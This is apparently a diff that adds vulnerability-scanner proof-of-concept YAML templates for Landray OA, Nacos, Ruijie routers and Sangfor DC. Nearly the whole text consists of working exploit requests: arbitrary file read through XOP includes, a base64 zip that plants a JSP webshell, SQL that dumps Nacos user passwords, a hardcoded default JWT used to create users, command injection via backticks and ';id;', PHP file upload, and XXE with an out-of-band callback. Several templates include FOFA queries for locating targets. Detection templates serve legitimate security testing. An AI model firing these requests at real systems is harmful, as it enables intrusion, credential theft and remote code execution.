+    The vulnerability exists in the getTodoCount method which can be exploited to read arbitrary files on the system.
+    FOFA: body="Com_Parameter"
+  reference:
+    - https://github.com/wy876/POC/blob/main/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.md
+  tags: landray,lfi,fileread
+  created: 2024/12/30
+
+set:
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /sys/webservice/sysNotifyTodoWebService
+      headers:
+        Content-Type: multipart/related; boundary=----WebKitFormBoundary{{rboundary}}
+        SOAPAction: ""
+        Accept-Encoding: gzip, deflate
+      body: |
+        ------WebKitFormBoundary{{rboundary}}
+        Content-Disposition: form-data; name="a"
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.notify.sys.kmss.landray.com/">
+        <soapenv:Header/>
+        <soapenv:Body>
+            <web:getTodoCount>
+                <arg0>
+                    <beginTimeStamp>a</beginTimeStamp>
+                    <count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///"/></count>
+                </arg0>
+            </web:getTodoCount>
+        </soapenv:Body>
+        </soapenv:Envelope>
+        ------WebKitFormBoundary{{rboundary}}--
+    expression: response.status == 500 &&  response.body.bcontains(b'Unmarshalling Error')
+expression: r0()

webscan/pocs/landray-oa-sysSynchroGetOrgWebService-fileread.yaml

@@ -0,0 +1,44 @@
+id: landray-oa-sysSynchroGetOrgWebService-fileread
+info:
+  name: Landray OA sysSynchroGetOrgWebService File Read
+  author: ZacharyZcR
+  severity: high
+  verified: true
+  description: |-
+    Landray OA System sysSynchroGetOrgWebService interface has an arbitrary file read vulnerability.
+    The vulnerability exists in the getOrgStaffingLevelInfo method which can be exploited to read arbitrary files on the system.
+    fofa: body="Com_Parameter"
+  reference:
+    - https://github.com/wy876/POC/blob/main/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.md
+  tags: landray,lfi,fileread
+  created: 2024/12/30
+
+set:
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /sys/webservice/sysSynchroGetOrgWebService
+      headers:
+        Content-Type: multipart/related; boundary=----WebKitFormBoundary{{rboundary}}
+        SOAPAction: ""
+        Accept-Encoding: gzip, deflate
+      body: |
+        ------WebKitFormBoundary{{rboundary}}
+        Content-Disposition: form-data; name="a"
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://out.webservice.organization.sys.kmss.landray.com/">
+        <soapenv:Header/>
+        <soapenv:Body>
+            <web:getOrgStaffingLevelInfo>
+                <arg0>
+                    <beginTimeStamp>a</beginTimeStamp>
+                    <count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///"/></count>
+                </arg0>
+            </web:getOrgStaffingLevelInfo>
+        </soapenv:Body>
+        </soapenv:Envelope>
+        ------WebKitFormBoundary{{rboundary}}--
+    expression: response.status == 500 && response.body.bcontains(b'Unmarshalling Error')
+expression: r0()

webscan/pocs/landray-oa-sysTagWebService-fileread.yaml

@@ -0,0 +1,44 @@
+id: landray-oa-sysTagWebService-fileread
+info:
+  name: Landray OA sysTagWebService File Read
+  author: ZacharyZcR
+  severity: high
+  verified: true
+  description: |-
+    Landray OA System sysTagWebService interface has an arbitrary file read vulnerability.
+    The vulnerability exists in the getGroups method which can be exploited to read arbitrary files on the system.
+    fofa: body="Com_Parameter"
+  reference:
+    - https://github.com/wy876/POC/blob/main/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.md
+  tags: landray,lfi,fileread
+  created: 2024/12/30
+
+set:
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /sys/webservice/sysTagWebService
+      headers:
+        Content-Type: multipart/related; boundary=----WebKitFormBoundary{{rboundary}}
+        SOAPAction: ""
+        Accept-Encoding: gzip, deflate
+      body: |
+        ------WebKitFormBoundary{{rboundary}}
+        Content-Disposition: form-data; name="a"
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.tag.sys.kmss.landray.com/">
+        <soapenv:Header/>
+        <soapenv:Body>
+            <web:getGroups>
+                <arg0>
+                    <beginTimeStamp>a</beginTimeStamp>
+                    <count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///"/></count>
+                </arg0>
+            </web:getGroups>
+        </soapenv:Body>
+        </soapenv:Envelope>
+        ------WebKitFormBoundary{{rboundary}}--
+    expression: response.status == 500 && response.body.bcontains(b'Unmarshalling Error')
+expression: r0()

webscan/pocs/landray-oa-sysuicomponent-fileupload.yaml

@@ -0,0 +1,52 @@
+id: landray-oa-sysuicomponent-fileupload
+
+info:
+  name: 蓝凌 OA 子部件文件上传
+  author: Pking
+  severity: critical
+  verified: true
+  description: |-
+    介绍:该系统 sysUiComponent 文件存在任意文件上传漏洞，通过此漏洞攻击者可上传webshell木马，远程控制服务器，威胁企业数据安全。
+    fofa: app="Landray-OA系统"
+    zoomeye: app:"蓝凌数字OA"
+  reference:
+    - https://mp.weixin.qq.com/s/xhwmFuItG8ZoiuGrwR5bnw
+  tags: landray,fileupload
+  created: 2023/11/16
+
+set:
+  baseurl: request.url
+  randstr: randomLowercase(12)
+  rboundary: randomInt(800000000, 1000000000)
+  cookie: randomLowercase(48)
+  payload: base64Decode("UEsDBBQAAAAIAEVrcFcd+E8oKAAAACYAAAAIAAAAdGVzdC5qc3CzUVXILy3RKyjKzCvJydNQ8iotLkl0TCwOCE4zNDIyNlLStFZQtQMAUEsDBBQAAAAIAGlrcFdRNnIYHAAAABoAAAANAAAAY29tcG9uZW50LmluactMsTUyMLQ0Mrbg5cpLzE21Tc5ITc7WK6koAQBQSwECHwAUAAAACABFa3BXHfhPKCgAAAAmAAAACAAkAAAAAAAAACAAAAAAAAAAdGVzdC5qc3AKACAAAAAAAAEAGAB3R8xoTRjaAXdHzGhNGNoBRiZA9UIY2gFQSwECHwAUAAAACABpa3BXUTZyGBwAAAAaAAAADQAkAAAAAAAAACAAAABOAAAAY29tcG9uZW50LmluaQoAIAAAAAAAAQAYACmZwpFNGNoBKZnCkU0Y2gF5vhgvSxjaAVBLBQYAAAAAAgACALkAAACVAAAAAAA=")
+rules:
+  r0:
+    request:
+      method: GET
+      path: /sys/ui/sys_ui_component/sysUiComponent.do?method=upload
+    expression: response.status == 200 && response.body.bcontains(b"请上传正确的部件包文件") && response.body.bcontains(b"附件上传中") && response.body.bcontains(b"请上传正确的部件包文件")
+  r1:
+    request:
+      method: POST
+      path: /sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo
+      headers:
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
+      body: "\
+        ------WebKitFormBoundary{{rboundary}}\r\n\
+        Content-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.zip\"\r\n\
+        Content-Type: application/x-zip-compressed\r\n\
+        \r\n\
+        {{payload}}\r\n\
+        ------WebKitFormBoundary{{rboundary}}--\r\n
+        "
+    expression: response.status == 200 && response.body.bcontains(b"directoryPath") && response.body.bcontains(b"status")
+    output:
+      search: '"\"directoryPath\":\"(?P<pathName>.+?)\",".bsubmatch(response.body)'
+      pathName: search["pathName"]
+  r2:
+    request:
+      method: GET
+      path: /resource/ui-component/{{pathName}}/test.jsp
+    expression: response.status == 200 && response.body.bcontains(b"JustaAasPSf12232")
+expression: r0() && r1() && r2()

webscan/pocs/nacos-config-server-sql-inject.yaml

@@ -0,0 +1,26 @@
+id: nacos-config-server-sql-inject
+#
+
+info:
+  name: Naocos Config Server SQL injection
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    Nacos config server中有个接口，没有做任何的鉴权，即可执行sql语句，可以泄漏全部数据
+  reference:
+    - https://mp.weixin.qq.com/s/NgWvrN6yW-MAy0Cch4_nAQ
+  tags: nacos,sqli
+  created: 2023/06/01
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'"code":') &&
+      response.body.bcontains(b'"USERNAME":') &&
+      response.body.bcontains(b'"PASSWORD":')
+expression: r0()

webscan/pocs/nacos-core-auth-enabled-bypass.yaml

@@ -0,0 +1,19 @@
+id: nacos-core-auth-enabled-bypass
+
+info:
+  name: Nacos core.auth.enabled 权限绕过
+  author: yoyo
+  severity: critical
+  verified: true
+  description: |-
+    atlassian-bitbucket-代码注入-CVE-2022-36804
+  tags: nacos,sqli
+  created: 2025/03/27
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken=
+    expression: response.status == 200 && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":') && response.headers["content-type"].contains('application/json')
+expression: r0()

webscan/pocs/nacos-secret-default-key-unauth.yaml

@@ -0,0 +1,21 @@
+id: nacos-secret-default-key-unauth
+
+info:
+  name: Alibaba Nacos secret.key默认密钥 未授权访问漏洞
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    Alibaba Nacos 使用了固定的secret.key默认密钥，导致攻击者可以构造请求获取敏感信息，导致未授权访问漏洞
+    Alibaba Nacos <= 2.2.0
+    fofa: app="NACOS"
+  tags: nacos,unauth
+  created: 2024/07/20
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9
+    expression: response.status == 200 && response.headers["content-type"].contains("application/json") && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":')
+expression: r0()

webscan/pocs/nacos-severidentity-bypass.yaml

@@ -0,0 +1,24 @@
+id: nacos-severidentity-bypass
+
+info:
+  name: Alibaba Nacos ServerIdentity 权限绕过
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    Nacos 能让您从微服务平台建设的视角管理数据中心的所有服务及元数据，包括管理服务的描述、生命周期、服务的静态依赖分析、服务的健康状态、服务的流量管理、路由及安全策略。Nacos 平台在 Header 中添加 serverIdentity: security 能直接绕过身份验证查看用户列表
+    {"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ","tokenTtl":18000,"globalAdmin":true}
+  reference:
+    - https://github.com/MrWQ/vulnerability-paper/blob/55e4dca8b537b93c6b90008af2f7eddd68271f2c/bugs/%E9%82%A3%E4%BA%9B%E5%B9%B4%E6%88%91%E4%BB%AC%E4%B8%80%E8%B5%B7%E8%BF%BD%E8%BF%87%E7%9A%84%20Nacos.md
+  tags: nacos,bypass
+  created: 2023/07/14
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken=
+      headers:
+        serverIdentity: security
+    expression: response.status == 200 && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":') && response.headers["content-type"].contains('application/json')
+expression: r0()

webscan/pocs/nacos-token-create-user.yaml

@@ -0,0 +1,33 @@
+id: nacos-token-create-user
+
+info:
+  name: Nacos 默认密钥创建用户
+  author: zan8in
+  severity: critical
+  verified: true
+  description: |-
+    Nacos 默认密钥创建用户
+  tags: nacos,rce
+  created: 2024/07/20
+
+set:
+  token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ
+  randuser: randomLowercase(6)
+  randpass: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /nacos/v1/auth/users
+      headers:
+        Authorization: Bearer {{token}}
+      body: username={{randuser}}&password={{randpass}}
+    expression: response.status == 200 && response.body.bcontains(b'"code":') && response.body.bcontains(b'"message":') && response.body.bcontains(b'"data":') && response.body.bcontains(b'create user ok!')
+  r1:
+    request:
+      method: DELETE
+      path: /nacos/v1/auth/users?username={{randuser}}
+      headers:
+        Authorization: Bearer {{token}}
+    expression: true
+expression: r0() && r1()

webscan/pocs/ruijie-eg-password-leak.yaml

@@ -0,0 +1,21 @@
+id: ruijie-eg-password-leak
+
+info:
+  name: Ruijie EG Information Disaclosure
+  author: Search?=Null
+  severity: high
+  verified: true
+  description: |-
+    fofa: app="Ruijie-EG易网关"
+  tags: ruijie,disclosure
+  created: 2023/10/29
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /login.php
+      body: |
+        username=admin&password=admin?show+webmaster+user
+    expression: response.status == 200 && response.body.bcontains(b'"data":') && response.body.bcontains(b'admin') && response.body.bcontains(b'"status":')
+expression: r0()

webscan/pocs/ruijie-eweb-route-auth-rce.yaml

@@ -0,0 +1,33 @@
+id: ruijie-eweb-route-auth-rce
+
+info:
+  name: 锐捷 EWEB auth 远程代码执行漏洞
+  author: zan8in
+  severity: critical
+  verified: true
+  description: |-
+    锐捷 EWEB 系列设备存在远程代码执行漏洞，攻击者可通过该漏洞在目标服务器上执行任意命令。
+    fofa: body="cgi-bin/luci" && body="#f47f3e"
+  tags: ruijie,rce
+  created: 2025/02/14
+
+set:
+  content: randomLowercase(10)
+  filename: randomLowercase(10)
+  md5content: md5(content)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /cgi-bin/luci/api/auth
+      headers:
+        Content-Type: application/json
+      body: |
+        {"method":"checkNet","params":{"host":"`echo {{md5content}}>{{filename}}.txt`"}}
+    expression: response.status == 200
+  r1:
+    request:
+      method: GET
+      path: /cgi-bin/{{filename}}.txt
+    expression: response.status == 200 && response.body.bcontains(bytes(md5content))
+expression: r0() && r1()

webscan/pocs/ruijie-excu-shell-disclosure.yaml

@@ -0,0 +1,21 @@
+id: ruijie-excu-shell-disclosure
+
+info:
+  name: 锐捷交换机 WEB 管理系统 EXCU_SHELL 信息泄露
+  author: zan8in
+  severity: high
+  verified: true
+  tags: ruijie,disclosure
+  created: 2023/09/03
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /EXCU_SHELL
+      headers:
+        Cmdnum: '1'
+        Command1: show running-config
+        Confirm1: n
+    expression: response.status == 200 && response.body.bcontains(b"Building configuration") && response.body.bcontains(b"Current configuration")
+expression: r0()

webscan/pocs/ruijie-nbr-fileupload.yaml

@@ -0,0 +1,38 @@
+id: ruijie-nbr-fileupload
+
+info:
+  name: 锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞
+  author: peiqi
+  severity: high
+  verified: true
+  description: |
+    锐捷 NBR 路由器 fileupload.php文件存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件到服务器获取服务器权限
+    FOFA: app="Ruijie-NBR路由器"
+  reference:
+    - https://peiqi.wgpsec.org/wiki/iot/锐捷/锐捷%20NBR%20路由器%20fileupload.php%20任意文件上传漏洞.html
+  tags: ruijie,fileupload
+  created: 2023/08/10
+
+set:
+  r1: randomLowercase(6)
+  r2: md5(r1)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /ddi/server/fileupload.php?uploadDir=../../321&name={{r1}}.php
+      headers:
+        Accept: text/plain, */*; q=0.01
+        Content-Disposition: form-data; name="file"; filename="111.php"
+        Content-Type: image/jpeg
+      body: |
+        <?php echo md5("{{r1}}");unlink(__FILE__);?>
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'"jsonrpc"') 
+  r1:
+    request:
+      method: GET
+      path: /321/{{r1}}.php
+    expression: response.status == 200 && response.body.bcontains(bytes(r2))
+expression: r0() && r1()

webscan/pocs/ruijie-nbr1300g-cli-password-leak.yaml

@@ -0,0 +1,23 @@
+id: ruijie-nbr1300g-cli-password-leak
+
+info:
+  name: ruijie-nbr1300g-cli-password-leak
+  author: abbin777
+  severity: high
+  verified: true
+  description: |-
+    锐捷NBR 1300G路由器 越权CLI命令执行漏洞，guest账户可以越权获取管理员账号密码
+    fofa: title="锐捷网络 --NBR路由器--登录界面" || app="Ruijie-NBR路由器"
+  tags: ruijie,disclosure
+  created: 2023/10/29
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /WEB_VMS/LEVEL15/
+      headers:
+        Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
+      body: command=show webmaster user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.
+    expression: response.status == 200 &&  "webmaster level ([0-9]) username".bmatches(response.body)
+expression: r0()

webscan/pocs/ruijie-rg-eg-web-mis-rce.yaml

@@ -0,0 +1,24 @@
+id: ruijie-rg-eg-web-mis-rce
+
+info:
+  name: 锐捷RG-EG易网关WEB管理系统存在RCE漏洞
+  author: Y3y1ng
+  severity: critical
+  verified: true
+  description: |-
+    锐捷RG-EG易网关WEB管理系统前台RCE存在命令执行漏洞，未经身份认证的攻击者可执行任意命令控制服务器权限。
+    Fofa: body="请输入您的RG-EG易网关的用户名和密码"
+    Hunter: web.body="请输入您的RG-EG易网关的用户名和密码"
+    Zoomeye: "请输入您的RG-EG易网关的用户名和密码"
+  reference:
+    - https://github.com/xinyisleep/pocscan/blob/ee0c74e68ec95b82a4e4ebcdb961d6ed18a44b77/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7_EG%E6%98%93%E7%BD%91%E5%85%B3_WEB%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F_%E5%89%8D%E5%8F%B0RCE.py
+  tags: ruijie,rce
+  created: 2023/12/10
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /update.php?jungle=id
+    expression: 'response.status == 200 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)'
+expression: r0()

webscan/pocs/ruijie-route-control-rce.yaml

@@ -0,0 +1,35 @@
+id: ruijie-route-control-rce
+
+info:
+  name: 锐捷EWEB路由器 control.php 远程命令执行漏洞
+  author: avic123
+  severity: critical
+  verified: true
+  description: |
+    锐捷EWEB路由器 control.php 存在远程命令执行漏洞。攻击者可以通过漏洞执行任意命令从而获取服务器权限，可能导致内网进一步被攻击。
+    Fofa: title="锐捷网络-EWEB网管系统"
+  reference:
+    - https://cn-sec.com/archives/4353567.html
+  tags: ruijie,router,rce
+  created: 2025/8/11
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /ddi/server/login.php
+      body: username=admin&password=admin?
+    expression: response.status == 200 && response.headers['set-cookie'].icontains("ruijieid")
+    output:
+      search: '"Set-Cookie: (?P<cookie>.*?);".bsubmatch(response.raw_header)'
+      cookie: search["cookie"]
+
+  r1:
+    request:
+      method: POST
+      path: /flow_control_pi/flwo.control.php?a=getFlowGroup
+      headers:
+        Cookie: "{{cookie}}"
+      body: type=;id;
+    expression: response.status == 200 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)
+expression: r0() && r1()

webscan/pocs/ruijie-smartweb-password-disclosure.yaml

@@ -0,0 +1,23 @@
+id: ruijie-smartweb-password-disclosure
+
+info:
+  name: Ruijie smartweb password information disclosure
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    锐捷网络股份有限公司无线smartweb管理系统存在逻辑缺陷漏洞，攻击者可从漏洞获取到管理员账号密码，从而以管理员权限登录。
+    fofa: app="Ruijie-WiFi" && title="无线smartWeb--登录页面"
+  tags: ruijie,disclosure
+  created: 2023/10/29
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /web/xml/webuser-auth.xml
+      headers:
+        Cookie: "login=1; oid=1.3.6.1.4.1.4881.1.1.10.1.3; type=WS5302; auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest"
+    expression: |
+      response.status == 200 && response.body.bcontains(b'<![CDATA[   admin]]>')
+expression: r0()

webscan/pocs/sangfor-dc-sangforindex-xxe.yaml

@@ -0,0 +1,30 @@
+id: sangfor-dc-sangforindex-xxe
+
+info:
+  name: 深信服 DC数据中心管理系统 sangforindex XML实体注入
+  author: zan8in
+  severity: critical
+  verified: true
+  description: |-
+    深信服 DC数据中心管理系统 sangforindex 接口存在XML实体注入漏洞，攻击者可以发送特定的请求包造成XML实体注入
+    FOFA: "SANGFOR 数据中心"
+  tags: sangfor,xxe
+  created: 2023/09/05
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /src/sangforindex
+      headers:
+        Content-Type: text/xml
+      body: |
+        <?xml version="1.0" encoding="utf-8" ?>
+        <!DOCTYPE root [
+            <!ENTITY rootas SYSTEM "{{oob.HTTP}}">
+        ]>
+        <xxx>
+        &rootas;
+        </xxx>
+    expression: oobCheck(oob.ProtocolHTTP, 3)
+expression: r0()